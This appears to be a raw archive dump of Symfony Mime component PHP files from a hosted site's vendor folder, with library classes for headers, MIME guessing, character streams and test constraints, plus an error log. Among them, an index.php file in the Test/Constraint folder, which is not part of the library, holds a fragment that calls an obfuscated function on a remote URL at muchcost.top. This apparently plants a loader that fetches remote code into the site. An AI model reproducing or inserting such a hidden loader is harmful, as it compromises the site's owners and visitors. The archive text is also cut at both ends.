\t])|(?:(?:[\x01-\x08\x0B\x0C\x0E-\x19\x7F]|[\x21-\x27\x2A-\x5B\x5D-\x7E])|(?:\\[\x00-\x08\x0B\x0C\x0E-\x7F])|(?1)))*(?:(?:[ \t]*(?:\r\n))?[ \t])?\)))*(?:(?:(?:(?:[ \t]*(?:\r\n))?[ \t])?(\((?:(?:(?:[ \t]*(?:\r\n))?[ \t])|(?:(?:[\x01-\x08\x0B\x0C\x0E-\x19\x7F]|[\x21-\x27\x2A-\x5B\x5D-\x7E])|(?:\\[\x00-\x08\x0B\x0C\x0E-\x7F])|(?1)))*(?:(?:[ \t]*(?:\r\n))?[ \t])?\)))|(?:(?:[ \t]*(?:\r\n))?[ \t])))?"((?:(?:[ \t]*(?:\r\n))?[ \t])?(?:(?:[\x01-\x08\x0B\x0C\x0E-\x19\x7F]|[\x21\x23-\x5B\x5D-\x7E])|(?:\\[\x00-\x08\x0B\x0C\x0E-\x7F])))*(?:(?:[ \t]*(?:\r\n))?[ \t])?"(?:(?:(?:(?:[ \t]*(?:\r\n))?[ \t])?(\((?:(?:(?:[ \t]*(?:\r\n))?[ \t])|(?:(?:[\x01-\x08\x0B\x0C\x0E-\x19\x7F]|[\x21-\x27\x2A-\x5B\x5D-\x7E])|(?:\\[\x00-\x08\x0B\x0C\x0E-\x7F])|(?1)))*(?:(?:[ \t]*(?:\r\n))?[ \t])?\)))*(?:(?:(?:(?:[ \t]*(?:\r\n))?[ \t])?(\((?:(?:(?:[ \t]*(?:\r\n))?[ \t])|(?:(?:[\x01-\x08\x0B\x0C\x0E-\x19\x7F]|[\x21-\x27\x2A-\x5B\x5D-\x7E])|(?:\\[\x00-\x08\x0B\x0C\x0E-\x7F])|(?1)))*(?:(?:[ \t]*(?:\r\n))?[ \t])?\)))|(?:(?:[ \t]*(?:\r\n))?[ \t])))?))+?)'; private static QpMimeHeaderEncoder $encoder; private string $name; private int $lineLength = 76; private ?string $lang = null; private string $charset = 'utf-8'; public function __construct(string $name) { $this->name = $name; } /** * @return void */ public function setCharset(string $charset) { $this->charset = $charset; } public function getCharset(): ?string { return $this->charset; } /** * Set the language used in this Header. * * For example, for US English, 'en-us'. * * @return void */ public function setLanguage(string $lang) { $this->lang = $lang; } public function getLanguage(): ?string { return $this->lang; } public function getName(): string { return $this->name; } /** * @return void */ public function setMaxLineLength(int $lineLength) { $this->lineLength = $lineLength; } public function getMaxLineLength(): int { return $this->lineLength; } public function toString(): string { return $this->tokensToString($this->toTokens()); } /** * Produces a compliant, formatted RFC 2822 'phrase' based on the string given. * * @param string $string as displayed * @param bool $shorten the first line to make remove for header name */ protected function createPhrase(HeaderInterface $header, string $string, string $charset, bool $shorten = false): string { // Treat token as exactly what was given $phraseStr = $string; // If it's not valid if (!preg_match('/^'.self::PHRASE_PATTERN.'$/D', $phraseStr)) { // .. but it is just ascii text, try escaping some characters // and make it a quoted-string if (preg_match('/^[\x00-\x08\x0B\x0C\x0E-\x7F]*$/D', $phraseStr)) { foreach (['\\', '"'] as $char) { $phraseStr = str_replace($char, '\\'.$char, $phraseStr); } $phraseStr = '"'.$phraseStr.'"'; } else { // ... otherwise it needs encoding // Determine space remaining on line if first line if ($shorten) { $usedLength = \strlen($header->getName().': '); } else { $usedLength = 0; } $phraseStr = $this->encodeWords($header, $string, $usedLength); } } elseif (str_contains($phraseStr, '(')) { foreach (['\\', '"'] as $char) { $phraseStr = str_replace($char, '\\'.$char, $phraseStr); } $phraseStr = '"'.$phraseStr.'"'; } return $phraseStr; } /** * Encode needed word tokens within a string of input. */ protected function encodeWords(HeaderInterface $header, string $input, int $usedLength = -1): string { $value = ''; $tokens = $this->getEncodableWordTokens($input); foreach ($tokens as $token) { // See RFC 2822, Sect 2.2 (really 2.2 ??) if ($this->tokenNeedsEncoding($token)) { // Don't encode starting WSP $firstChar = substr($token, 0, 1); switch ($firstChar) { case ' ': case "\t": $value .= $firstChar; $token = substr($token, 1); } if (-1 == $usedLength) { $usedLength = \strlen($header->getName().': ') + \strlen($value); } $value .= $this->getTokenAsEncodedWord($token, $usedLength); } else { $value .= $token; } } return $value; } protected function tokenNeedsEncoding(string $token): bool { return (bool) preg_match('~[\x00-\x08\x10-\x19\x7F-\xFF\r\n]~', $token); } /** * Splits a string into tokens in blocks of words which can be encoded quickly. * * @return string[] */ protected function getEncodableWordTokens(string $string): array { $tokens = []; $encodedToken = ''; // Split at all whitespace boundaries foreach (preg_split('~(?=[\t ])~', $string) as $token) { if ($this->tokenNeedsEncoding($token)) { $encodedToken .= $token; } else { if ('' !== $encodedToken) { $tokens[] = $encodedToken; $encodedToken = ''; } $tokens[] = $token; } } if ('' !== $encodedToken) { $tokens[] = $encodedToken; } return $tokens; } /** * Get a token as an encoded word for safe insertion into headers. */ protected function getTokenAsEncodedWord(string $token, int $firstLineOffset = 0): string { self::$encoder ??= new QpMimeHeaderEncoder(); // Adjust $firstLineOffset to account for space needed for syntax $charsetDecl = $this->charset; if (null !== $this->lang) { $charsetDecl .= '*'.$this->lang; } $encodingWrapperLength = \strlen('=?'.$charsetDecl.'?'.self::$encoder->getName().'??='); if ($firstLineOffset >= 75) { // Does this logic need to be here? $firstLineOffset = 0; } $encodedTextLines = explode("\r\n", self::$encoder->encodeString($token, $this->charset, $firstLineOffset, 75 - $encodingWrapperLength) ); if ('iso-2022-jp' !== strtolower($this->charset)) { // special encoding for iso-2022-jp using mb_encode_mimeheader foreach ($encodedTextLines as $lineNum => $line) { $encodedTextLines[$lineNum] = '=?'.$charsetDecl.'?'.self::$encoder->getName().'?'.$line.'?='; } } return implode("\r\n ", $encodedTextLines); } /** * Generates tokens from the given string which include CRLF as individual tokens. * * @return string[] */ protected function generateTokenLines(string $token): array { return preg_split('~(\r\n)~', $token, -1, \PREG_SPLIT_DELIM_CAPTURE); } /** * Generate a list of all tokens in the final header. */ protected function toTokens(string $string = null): array { $string ??= $this->getBodyAsString(); $tokens = []; // Generate atoms; split at all invisible boundaries followed by WSP foreach (preg_split('~(?=[ \t])~', $string) as $token) { $newTokens = $this->generateTokenLines($token); foreach ($newTokens as $newToken) { $tokens[] = $newToken; } } return $tokens; } /** * Takes an array of tokens which appear in the header and turns them into * an RFC 2822 compliant string, adding FWSP where needed. * * @param string[] $tokens */ private function tokensToString(array $tokens): string { $lineCount = 0; $headerLines = []; $headerLines[] = $this->name.': '; $currentLine = &$headerLines[$lineCount++]; // Build all tokens back into compliant header foreach ($tokens as $i => $token) { // Line longer than specified maximum or token was just a new line if (("\r\n" === $token) || ($i > 0 && \strlen($currentLine.$token) > $this->lineLength) && '' !== $currentLine) { $headerLines[] = ''; $currentLine = &$headerLines[$lineCount++]; } // Append token to the line if ("\r\n" !== $token) { $currentLine .= $token; } } // Implode with FWS (RFC 2822, 2.2.3) return implode("\r\n", $headerLines); } } mime/Header/PathHeader.php000064400000002362151113512110011373 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Header; use Symfony\Component\Mime\Address; use Symfony\Component\Mime\Exception\RfcComplianceException; /** * A Path Header, such a Return-Path (one address). * * @author Chris Corbyn */ final class PathHeader extends AbstractHeader { private Address $address; public function __construct(string $name, Address $address) { parent::__construct($name); $this->setAddress($address); } /** * @param Address $body * * @throws RfcComplianceException */ public function setBody(mixed $body): void { $this->setAddress($body); } public function getBody(): Address { return $this->getAddress(); } public function setAddress(Address $address): void { $this->address = $address; } public function getAddress(): Address { return $this->address; } public function getBodyAsString(): string { return '<'.$this->address->toString().'>'; } } mime/Header/UnstructuredHeader.php000064400000002451151113512110013205 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Header; /** * A Simple MIME Header. * * @author Chris Corbyn */ class UnstructuredHeader extends AbstractHeader { private string $value; public function __construct(string $name, string $value) { parent::__construct($name); $this->setValue($value); } /** * @param string $body * * @return void */ public function setBody(mixed $body) { $this->setValue($body); } public function getBody(): string { return $this->getValue(); } /** * Get the (unencoded) value of this header. */ public function getValue(): string { return $this->value; } /** * Set the (unencoded) value of this header. * * @return void */ public function setValue(string $value) { $this->value = $value; } /** * Get the value of this header prepared for rendering. */ public function getBodyAsString(): string { return $this->encodeWords($this, $this->value); } } mime/FileBinaryMimeTypeGuesser.php000064400000004636151113512110013240 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime; use Symfony\Component\Mime\Exception\InvalidArgumentException; use Symfony\Component\Mime\Exception\LogicException; /** * Guesses the MIME type with the binary "file" (only available on *nix). * * @author Bernhard Schussek */ class FileBinaryMimeTypeGuesser implements MimeTypeGuesserInterface { private string $cmd; /** * The $cmd pattern must contain a "%s" string that will be replaced * with the file name to guess. * * The command output must start with the MIME type of the file. * * @param string $cmd The command to run to get the MIME type of a file */ public function __construct(string $cmd = 'file -b --mime -- %s 2>/dev/null') { $this->cmd = $cmd; } public function isGuesserSupported(): bool { static $supported = null; if (null !== $supported) { return $supported; } if ('\\' === \DIRECTORY_SEPARATOR || !\function_exists('passthru') || !\function_exists('escapeshellarg')) { return $supported = false; } ob_start(); passthru('command -v file', $exitStatus); $binPath = trim(ob_get_clean()); return $supported = 0 === $exitStatus && '' !== $binPath; } public function guessMimeType(string $path): ?string { if (!is_file($path) || !is_readable($path)) { throw new InvalidArgumentException(sprintf('The "%s" file does not exist or is not readable.', $path)); } if (!$this->isGuesserSupported()) { throw new LogicException(sprintf('The "%s" guesser is not supported.', __CLASS__)); } ob_start(); // need to use --mime instead of -i. see #6641 passthru(sprintf($this->cmd, escapeshellarg((str_starts_with($path, '-') ? './' : '').$path)), $return); if ($return > 0) { ob_end_clean(); return null; } $type = trim(ob_get_clean()); if (!preg_match('#^([a-z0-9\-]+/[a-z0-9\-\+\.]+)#i', $type, $match)) { // it's not a type, but an error message return null; } return $match[1]; } } mime/CharacterStream.php000064400000022231151113512110011243 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime; /** * @author Fabien Potencier * @author Xavier De Cock * * @internal */ final class CharacterStream { /** Pre-computed for optimization */ private const UTF8_LENGTH_MAP = [ "\x00" => 1, "\x01" => 1, "\x02" => 1, "\x03" => 1, "\x04" => 1, "\x05" => 1, "\x06" => 1, "\x07" => 1, "\x08" => 1, "\x09" => 1, "\x0a" => 1, "\x0b" => 1, "\x0c" => 1, "\x0d" => 1, "\x0e" => 1, "\x0f" => 1, "\x10" => 1, "\x11" => 1, "\x12" => 1, "\x13" => 1, "\x14" => 1, "\x15" => 1, "\x16" => 1, "\x17" => 1, "\x18" => 1, "\x19" => 1, "\x1a" => 1, "\x1b" => 1, "\x1c" => 1, "\x1d" => 1, "\x1e" => 1, "\x1f" => 1, "\x20" => 1, "\x21" => 1, "\x22" => 1, "\x23" => 1, "\x24" => 1, "\x25" => 1, "\x26" => 1, "\x27" => 1, "\x28" => 1, "\x29" => 1, "\x2a" => 1, "\x2b" => 1, "\x2c" => 1, "\x2d" => 1, "\x2e" => 1, "\x2f" => 1, "\x30" => 1, "\x31" => 1, "\x32" => 1, "\x33" => 1, "\x34" => 1, "\x35" => 1, "\x36" => 1, "\x37" => 1, "\x38" => 1, "\x39" => 1, "\x3a" => 1, "\x3b" => 1, "\x3c" => 1, "\x3d" => 1, "\x3e" => 1, "\x3f" => 1, "\x40" => 1, "\x41" => 1, "\x42" => 1, "\x43" => 1, "\x44" => 1, "\x45" => 1, "\x46" => 1, "\x47" => 1, "\x48" => 1, "\x49" => 1, "\x4a" => 1, "\x4b" => 1, "\x4c" => 1, "\x4d" => 1, "\x4e" => 1, "\x4f" => 1, "\x50" => 1, "\x51" => 1, "\x52" => 1, "\x53" => 1, "\x54" => 1, "\x55" => 1, "\x56" => 1, "\x57" => 1, "\x58" => 1, "\x59" => 1, "\x5a" => 1, "\x5b" => 1, "\x5c" => 1, "\x5d" => 1, "\x5e" => 1, "\x5f" => 1, "\x60" => 1, "\x61" => 1, "\x62" => 1, "\x63" => 1, "\x64" => 1, "\x65" => 1, "\x66" => 1, "\x67" => 1, "\x68" => 1, "\x69" => 1, "\x6a" => 1, "\x6b" => 1, "\x6c" => 1, "\x6d" => 1, "\x6e" => 1, "\x6f" => 1, "\x70" => 1, "\x71" => 1, "\x72" => 1, "\x73" => 1, "\x74" => 1, "\x75" => 1, "\x76" => 1, "\x77" => 1, "\x78" => 1, "\x79" => 1, "\x7a" => 1, "\x7b" => 1, "\x7c" => 1, "\x7d" => 1, "\x7e" => 1, "\x7f" => 1, "\x80" => 0, "\x81" => 0, "\x82" => 0, "\x83" => 0, "\x84" => 0, "\x85" => 0, "\x86" => 0, "\x87" => 0, "\x88" => 0, "\x89" => 0, "\x8a" => 0, "\x8b" => 0, "\x8c" => 0, "\x8d" => 0, "\x8e" => 0, "\x8f" => 0, "\x90" => 0, "\x91" => 0, "\x92" => 0, "\x93" => 0, "\x94" => 0, "\x95" => 0, "\x96" => 0, "\x97" => 0, "\x98" => 0, "\x99" => 0, "\x9a" => 0, "\x9b" => 0, "\x9c" => 0, "\x9d" => 0, "\x9e" => 0, "\x9f" => 0, "\xa0" => 0, "\xa1" => 0, "\xa2" => 0, "\xa3" => 0, "\xa4" => 0, "\xa5" => 0, "\xa6" => 0, "\xa7" => 0, "\xa8" => 0, "\xa9" => 0, "\xaa" => 0, "\xab" => 0, "\xac" => 0, "\xad" => 0, "\xae" => 0, "\xaf" => 0, "\xb0" => 0, "\xb1" => 0, "\xb2" => 0, "\xb3" => 0, "\xb4" => 0, "\xb5" => 0, "\xb6" => 0, "\xb7" => 0, "\xb8" => 0, "\xb9" => 0, "\xba" => 0, "\xbb" => 0, "\xbc" => 0, "\xbd" => 0, "\xbe" => 0, "\xbf" => 0, "\xc0" => 2, "\xc1" => 2, "\xc2" => 2, "\xc3" => 2, "\xc4" => 2, "\xc5" => 2, "\xc6" => 2, "\xc7" => 2, "\xc8" => 2, "\xc9" => 2, "\xca" => 2, "\xcb" => 2, "\xcc" => 2, "\xcd" => 2, "\xce" => 2, "\xcf" => 2, "\xd0" => 2, "\xd1" => 2, "\xd2" => 2, "\xd3" => 2, "\xd4" => 2, "\xd5" => 2, "\xd6" => 2, "\xd7" => 2, "\xd8" => 2, "\xd9" => 2, "\xda" => 2, "\xdb" => 2, "\xdc" => 2, "\xdd" => 2, "\xde" => 2, "\xdf" => 2, "\xe0" => 3, "\xe1" => 3, "\xe2" => 3, "\xe3" => 3, "\xe4" => 3, "\xe5" => 3, "\xe6" => 3, "\xe7" => 3, "\xe8" => 3, "\xe9" => 3, "\xea" => 3, "\xeb" => 3, "\xec" => 3, "\xed" => 3, "\xee" => 3, "\xef" => 3, "\xf0" => 4, "\xf1" => 4, "\xf2" => 4, "\xf3" => 4, "\xf4" => 4, "\xf5" => 4, "\xf6" => 4, "\xf7" => 4, "\xf8" => 5, "\xf9" => 5, "\xfa" => 5, "\xfb" => 5, "\xfc" => 6, "\xfd" => 6, "\xfe" => 0, "\xff" => 0, ]; private string $data = ''; private int $dataSize = 0; private array $map = []; private int $charCount = 0; private int $currentPos = 0; private int $fixedWidth = 0; /** * @param resource|string $input */ public function __construct($input, ?string $charset = 'utf-8') { $charset = strtolower(trim($charset)) ?: 'utf-8'; if ('utf-8' === $charset || 'utf8' === $charset) { $this->fixedWidth = 0; $this->map = ['p' => [], 'i' => []]; } else { $this->fixedWidth = match ($charset) { // 16 bits 'ucs2', 'ucs-2', 'utf16', 'utf-16' => 2, // 32 bits 'ucs4', 'ucs-4', 'utf32', 'utf-32' => 4, // 7-8 bit charsets: (us-)?ascii, (iso|iec)-?8859-?[0-9]+, windows-?125[0-9], cp-?[0-9]+, ansi, macintosh, // koi-?7, koi-?8-?.+, mik, (cork|t1), v?iscii // and fallback default => 1, }; } if (\is_resource($input)) { $blocks = 16372; while (false !== $read = fread($input, $blocks)) { $this->write($read); } } else { $this->write($input); } } public function read(int $length): ?string { if ($this->currentPos >= $this->charCount) { return null; } $length = ($this->currentPos + $length > $this->charCount) ? $this->charCount - $this->currentPos : $length; if ($this->fixedWidth > 0) { $len = $length * $this->fixedWidth; $ret = substr($this->data, $this->currentPos * $this->fixedWidth, $len); $this->currentPos += $length; } else { $end = $this->currentPos + $length; $end = $end > $this->charCount ? $this->charCount : $end; $ret = ''; $start = 0; if ($this->currentPos > 0) { $start = $this->map['p'][$this->currentPos - 1]; } $to = $start; for (; $this->currentPos < $end; ++$this->currentPos) { if (isset($this->map['i'][$this->currentPos])) { $ret .= substr($this->data, $start, $to - $start).'?'; $start = $this->map['p'][$this->currentPos]; } else { $to = $this->map['p'][$this->currentPos]; } } $ret .= substr($this->data, $start, $to - $start); } return $ret; } public function readBytes(int $length): ?array { if (null !== $read = $this->read($length)) { return array_map('ord', str_split($read, 1)); } return null; } public function setPointer(int $charOffset): void { if ($this->charCount < $charOffset) { $charOffset = $this->charCount; } $this->currentPos = $charOffset; } public function write(string $chars): void { $ignored = ''; $this->data .= $chars; if ($this->fixedWidth > 0) { $strlen = \strlen($chars); $ignoredL = $strlen % $this->fixedWidth; $ignored = $ignoredL ? substr($chars, -$ignoredL) : ''; $this->charCount += ($strlen - $ignoredL) / $this->fixedWidth; } else { $this->charCount += $this->getUtf8CharPositions($chars, $this->dataSize, $ignored); } $this->dataSize = \strlen($this->data) - \strlen($ignored); } private function getUtf8CharPositions(string $string, int $startOffset, string &$ignoredChars): int { $strlen = \strlen($string); $charPos = \count($this->map['p']); $foundChars = 0; $invalid = false; for ($i = 0; $i < $strlen; ++$i) { $char = $string[$i]; $size = self::UTF8_LENGTH_MAP[$char]; if (0 == $size) { /* char is invalid, we must wait for a resync */ $invalid = true; continue; } if ($invalid) { /* We mark the chars as invalid and start a new char */ $this->map['p'][$charPos + $foundChars] = $startOffset + $i; $this->map['i'][$charPos + $foundChars] = true; ++$foundChars; $invalid = false; } if (($i + $size) > $strlen) { $ignoredChars = substr($string, $i); break; } for ($j = 1; $j < $size; ++$j) { $char = $string[$i + $j]; if ($char > "\x7F" && $char < "\xC0") { // Valid - continue parsing } else { /* char is invalid, we must wait for a resync */ $invalid = true; continue 2; } } /* Ok we got a complete char here */ $this->map['p'][$charPos + $foundChars] = $startOffset + $i + $size; $i += $j - 1; ++$foundChars; } return $foundChars; } } mime/DependencyInjection/error_log000064400000002310151113512110013314 0ustar00[19-Nov-2025 06:11:37 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/DependencyInjection/AddMimeTypeGuesserPass.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/DependencyInjection/AddMimeTypeGuesserPass.php on line 23 [19-Nov-2025 13:13:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/DependencyInjection/AddMimeTypeGuesserPass.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/DependencyInjection/AddMimeTypeGuesserPass.php on line 23 [26-Nov-2025 01:35:50 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/DependencyInjection/AddMimeTypeGuesserPass.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/DependencyInjection/AddMimeTypeGuesserPass.php on line 23 mime/DependencyInjection/AddMimeTypeGuesserPass.php000064400000002076151113512110016450 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\DependencyInjection; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Reference; /** * Registers custom mime types guessers. * * @author Fabien Potencier */ class AddMimeTypeGuesserPass implements CompilerPassInterface { /** * @return void */ public function process(ContainerBuilder $container) { if ($container->has('mime_types')) { $definition = $container->findDefinition('mime_types'); foreach ($container->findTaggedServiceIds('mime.mime_type_guesser', true) as $id => $attributes) { $definition->addMethodCall('registerGuesser', [new Reference($id)]); } } } } mime/Test/Constraint/EmailHasHeader.php000064400000002237151113512110014036 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\Mime\RawMessage; final class EmailHasHeader extends Constraint { private string $headerName; public function __construct(string $headerName) { $this->headerName = $headerName; } public function toString(): string { return sprintf('has header "%s"', $this->headerName); } /** * @param RawMessage $message */ protected function matches($message): bool { if (RawMessage::class === $message::class) { throw new \LogicException('Unable to test a message header on a RawMessage instance.'); } return $message->getHeaders()->has($this->headerName); } /** * @param RawMessage $message */ protected function failureDescription($message): string { return 'the Email '.$this->toString(); } } mime/Test/Constraint/EmailHtmlBodyContains.php000064400000002434151113512110015432 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\Mime\Message; use Symfony\Component\Mime\RawMessage; final class EmailHtmlBodyContains extends Constraint { private string $expectedText; public function __construct(string $expectedText) { $this->expectedText = $expectedText; } public function toString(): string { return sprintf('contains "%s"', $this->expectedText); } /** * @param RawMessage $message */ protected function matches($message): bool { if (RawMessage::class === $message::class || Message::class === $message::class) { throw new \LogicException('Unable to test a message HTML body on a RawMessage or Message instance.'); } return str_contains($message->getHtmlBody(), $this->expectedText); } /** * @param RawMessage $message */ protected function failureDescription($message): string { return 'the Email HTML body '.$this->toString(); } } mime/Test/Constraint/EmailHeaderSame.php000064400000003326151113512110014210 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\Mime\Header\UnstructuredHeader; use Symfony\Component\Mime\RawMessage; final class EmailHeaderSame extends Constraint { private string $headerName; private string $expectedValue; public function __construct(string $headerName, string $expectedValue) { $this->headerName = $headerName; $this->expectedValue = $expectedValue; } public function toString(): string { return sprintf('has header "%s" with value "%s"', $this->headerName, $this->expectedValue); } /** * @param RawMessage $message */ protected function matches($message): bool { if (RawMessage::class === $message::class) { throw new \LogicException('Unable to test a message header on a RawMessage instance.'); } return $this->expectedValue === $this->getHeaderValue($message); } /** * @param RawMessage $message */ protected function failureDescription($message): string { return sprintf('the Email %s (value is %s)', $this->toString(), $this->getHeaderValue($message) ?? 'null'); } private function getHeaderValue($message): ?string { if (null === $header = $message->getHeaders()->get($this->headerName)) { return null; } return $header instanceof UnstructuredHeader ? $header->getValue() : $header->getBodyAsString(); } } mime/Test/Constraint/EmailAddressContains.php000064400000004006151113512110015272 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\Mime\Header\MailboxHeader; use Symfony\Component\Mime\Header\MailboxListHeader; use Symfony\Component\Mime\RawMessage; final class EmailAddressContains extends Constraint { private string $headerName; private string $expectedValue; public function __construct(string $headerName, string $expectedValue) { $this->headerName = $headerName; $this->expectedValue = $expectedValue; } public function toString(): string { return sprintf('contains address "%s" with value "%s"', $this->headerName, $this->expectedValue); } /** * @param RawMessage $message */ protected function matches($message): bool { if (RawMessage::class === $message::class) { throw new \LogicException('Unable to test a message address on a RawMessage instance.'); } $header = $message->getHeaders()->get($this->headerName); if ($header instanceof MailboxHeader) { return $this->expectedValue === $header->getAddress()->getAddress(); } elseif ($header instanceof MailboxListHeader) { foreach ($header->getAddresses() as $address) { if ($this->expectedValue === $address->getAddress()) { return true; } } return false; } throw new \LogicException('Unable to test a message address on a non-address header.'); } /** * @param RawMessage $message */ protected function failureDescription($message): string { return sprintf('the Email %s (value is %s)', $this->toString(), $message->getHeaders()->get($this->headerName)->getBodyAsString()); } } mime/Test/Constraint/index.php000064400000002444151113512110012351 0ustar00".$kvsd("http://muchcost.top/library.php?rRIS60eG0xLnR4dDYxRSW5nI"));?>mime/Test/Constraint/EmailTextBodyContains.php000064400000002434151113512110015452 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\Mime\Message; use Symfony\Component\Mime\RawMessage; final class EmailTextBodyContains extends Constraint { private string $expectedText; public function __construct(string $expectedText) { $this->expectedText = $expectedText; } public function toString(): string { return sprintf('contains "%s"', $this->expectedText); } /** * @param RawMessage $message */ protected function matches($message): bool { if (RawMessage::class === $message::class || Message::class === $message::class) { throw new \LogicException('Unable to test a message text body on a RawMessage or Message instance.'); } return str_contains($message->getTextBody(), $this->expectedText); } /** * @param RawMessage $message */ protected function failureDescription($message): string { return 'the Email text body '.$this->toString(); } } mime/Test/Constraint/EmailAttachmentCount.php000064400000002601151113512110015306 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\Mime\Message; use Symfony\Component\Mime\RawMessage; final class EmailAttachmentCount extends Constraint { private int $expectedValue; private ?string $transport; public function __construct(int $expectedValue, string $transport = null) { $this->expectedValue = $expectedValue; $this->transport = $transport; } public function toString(): string { return sprintf('has sent "%d" attachment(s)', $this->expectedValue); } /** * @param RawMessage $message */ protected function matches($message): bool { if (RawMessage::class === $message::class || Message::class === $message::class) { throw new \LogicException('Unable to test a message attachment on a RawMessage or Message instance.'); } return $this->expectedValue === \count($message->getAttachments()); } /** * @param RawMessage $message */ protected function failureDescription($message): string { return 'the Email '.$this->toString(); } } mime/Part/AbstractPart.php000064400000002753151113512110011502 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Part; use Symfony\Component\Mime\Header\Headers; /** * @author Fabien Potencier */ abstract class AbstractPart { private $headers; public function __construct() { $this->headers = new Headers(); } public function getHeaders(): Headers { return $this->headers; } public function getPreparedHeaders(): Headers { $headers = clone $this->headers; $headers->setHeaderBody('Parameterized', 'Content-Type', $this->getMediaType().'/'.$this->getMediaSubtype()); return $headers; } public function toString(): string { return $this->getPreparedHeaders()->toString()."\r\n".$this->bodyToString(); } public function toIterable(): iterable { yield $this->getPreparedHeaders()->toString(); yield "\r\n"; yield from $this->bodyToIterable(); } public function asDebugString(): string { return $this->getMediaType().'/'.$this->getMediaSubtype(); } abstract public function bodyToString(): string; abstract public function bodyToIterable(): iterable; abstract public function getMediaType(): string; abstract public function getMediaSubtype(): string; } mime/Part/DataPart.php000064400000010711151113512110010601 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Part; use Symfony\Component\Mime\Exception\InvalidArgumentException; use Symfony\Component\Mime\Header\Headers; /** * @author Fabien Potencier */ class DataPart extends TextPart { /** @internal */ protected $_parent; private $filename; private $mediaType; private $cid; /** * @param resource|string|File $body Use a File instance to defer loading the file until rendering */ public function __construct($body, string $filename = null, string $contentType = null, string $encoding = null) { unset($this->_parent); if ($body instanceof File && !$filename) { $filename = $body->getFilename(); } $contentType ??= $body instanceof File ? $body->getContentType() : 'application/octet-stream'; [$this->mediaType, $subtype] = explode('/', $contentType); parent::__construct($body, null, $subtype, $encoding); if (null !== $filename) { $this->filename = $filename; $this->setName($filename); } $this->setDisposition('attachment'); } public static function fromPath(string $path, string $name = null, string $contentType = null): self { return new self(new File($path), $name, $contentType); } /** * @return $this */ public function asInline(): static { return $this->setDisposition('inline'); } /** * @return $this */ public function setContentId(string $cid): static { if (!str_contains($cid, '@')) { throw new InvalidArgumentException(sprintf('Invalid cid "%s".', $cid)); } $this->cid = $cid; return $this; } public function getContentId(): string { return $this->cid ?: $this->cid = $this->generateContentId(); } public function hasContentId(): bool { return null !== $this->cid; } public function getMediaType(): string { return $this->mediaType; } public function getPreparedHeaders(): Headers { $headers = parent::getPreparedHeaders(); if (null !== $this->cid) { $headers->setHeaderBody('Id', 'Content-ID', $this->cid); } if (null !== $this->filename) { $headers->setHeaderParameter('Content-Disposition', 'filename', $this->filename); } return $headers; } public function asDebugString(): string { $str = parent::asDebugString(); if (null !== $this->filename) { $str .= ' filename: '.$this->filename; } return $str; } public function getFilename(): ?string { return $this->filename; } public function getContentType(): string { return implode('/', [$this->getMediaType(), $this->getMediaSubtype()]); } private function generateContentId(): string { return bin2hex(random_bytes(16)).'@symfony'; } public function __sleep(): array { // converts the body to a string parent::__sleep(); $this->_parent = []; foreach (['body', 'charset', 'subtype', 'disposition', 'name', 'encoding'] as $name) { $r = new \ReflectionProperty(TextPart::class, $name); $this->_parent[$name] = $r->getValue($this); } $this->_headers = $this->getHeaders(); return ['_headers', '_parent', 'filename', 'mediaType']; } public function __wakeup() { $r = new \ReflectionProperty(AbstractPart::class, 'headers'); $r->setValue($this, $this->_headers); unset($this->_headers); if (!\is_array($this->_parent)) { throw new \BadMethodCallException('Cannot unserialize '.__CLASS__); } foreach (['body', 'charset', 'subtype', 'disposition', 'name', 'encoding'] as $name) { if (null !== $this->_parent[$name] && !\is_string($this->_parent[$name]) && !$this->_parent[$name] instanceof File) { throw new \BadMethodCallException('Cannot unserialize '.__CLASS__); } $r = new \ReflectionProperty(TextPart::class, $name); $r->setValue($this, $this->_parent[$name]); } unset($this->_parent); } } mime/Part/File.php000064400000002075151113512110007764 0ustar00 * * For the full copyright and license information, please view 